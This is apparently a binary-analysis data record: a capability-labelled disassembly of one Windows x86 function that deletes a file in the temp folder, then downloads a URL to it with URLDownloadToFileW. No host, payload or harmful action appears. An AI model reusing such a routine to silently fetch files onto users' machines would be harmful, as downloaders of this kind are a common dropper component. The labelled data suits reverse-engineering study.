Function at 0x40b850
Capabilities:
Check if file exists
Delete file
Download url
Get common file path
Receive data

Disassembly:
push 0xffffffffffffffff
push 0x517bab
mov eax, dword fs:[0]
push eax
sub esp, 0x63c
mov eax, dword [0x5685f0]
xor eax, esp
mov dword [esp + 0x638], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x5685f0]
xor eax, esp
push eax
lea eax, [esp + 0x650]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x660]
xor ebx, ebx
mov dword [esp + 0x14], ebx
push 0x206
lea eax, [esp + 0x3a]
push ebx
mov dword [esp + 0x660], 1
push eax
mov word [esp + 0x40], bx
call fcn.0042faa0
push 0x206
lea ecx, [esp + 0x24e]
push ebx
push ecx
mov word [esp + 0x254], bx
call fcn.0042faa0
push 0x206
lea edx, [esp + 0x462]
push ebx
push edx
mov word [esp + 0x468], bx
call fcn.0042faa0
add esp, 0x24
lea eax, [esp + 0x444]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x104
lea ecx, [esp + 0x240]
push ecx
lea edx, [esp + 0x44c]
push edx
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
xor eax, eax
jmp 0x40b930
movzx ecx, word [esp + eax + 0x23c]
mov word [esp + eax + 0x34], cx
add eax, 2
cmp cx, bx
jne 0x40b930
cmp dword [esp + 0x698], 8
mov eax, dword [esp + 0x684]
jae 0x40b95d
lea eax, [esp + 0x684]
mov edx, eax
nop
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x40b960
lea edi, [esp + 0x34]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x40b974
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [esp + 0x34]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40b9aa
lea ecx, [esp + 0x34]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [esp + 0x23c]
mov dword [esp + 0x30], 7
mov dword [esp + 0x2c], ebx
mov word [esp + 0x1c], bx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x40b9c5
sub eax, edx
sar eax, 1
push eax
lea edx, [esp + 0x240]
push edx
lea esi, [esp + 0x20]
call fcn.00401250
push ebx
lea eax, [esp + 0x684]
push eax
or eax, 0xffffffff
mov byte [esp + 0x660], 2
call fcn.004026f0
mov ecx, dword [esp + 0x1c]
mov edi, 8
cmp dword [esp + 0x30], edi
jae 0x40ba12
lea ecx, [esp + 0x1c]
cmp dword [esp + 0x67c], edi
mov eax, dword [esp + 0x668]
jae 0x40ba29
lea eax, [esp + 0x668]
push ebx
push ebx
push ecx
push eax
push ebx
call sub.urlmon.dll_URLDownloadToFileW
cmp dword [esp + 0x30], edi
mov eax, dword [esp + 0x1c]
jae 0x40ba41
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
mov dword [ebp + 0x14], ebx
jne 0x40ba81
push ebx
mov dword [ebp + 0x18], 7
push 0x55c3b8
mov esi, ebp
mov word [ebp + 4], bx
call fcn.00401250
cmp dword [esp + 0x30], edi
jb 0x40ba7a
mov ecx, dword [esp + 0x1c]
push ecx
call fcn.0040eb10
add esp, 4
mov esi, 7
jmp 0x40baae
push 0xffffffffffffffff
mov esi, 7
mov dword [ebp + 0x18], esi
push ebx
lea eax, [esp + 0x20]
mov ecx, ebp
mov word [ebp + 4], bx
call fcn.004012f0
cmp dword [esp + 0x30], edi
jb 0x40baae
mov ecx, dword [esp + 0x1c]
push ecx
call fcn.0040eb10
add esp, 4
cmp dword [esp + 0x67c], edi
mov word [esp + 0x1c], bx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], esi
jb 0x40bad4
mov edx, dword [esp + 0x668]
push edx
call fcn.0040eb10
add esp, 4
cmp dword [esp + 0x698], edi
mov word [esp + 0x668], bx
mov dword [esp + 0x678], ebx
mov dword [esp + 0x67c], esi
jb 0x40bb03
mov eax, dword [esp + 0x684]
push eax
call fcn.0040eb10
add esp, 4
mov eax, ebp
mov ecx, dword [esp + 0x650]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x638]
xor ecx, esp
call fcn.00429fbb
add esp, 0x648
ret 0x3c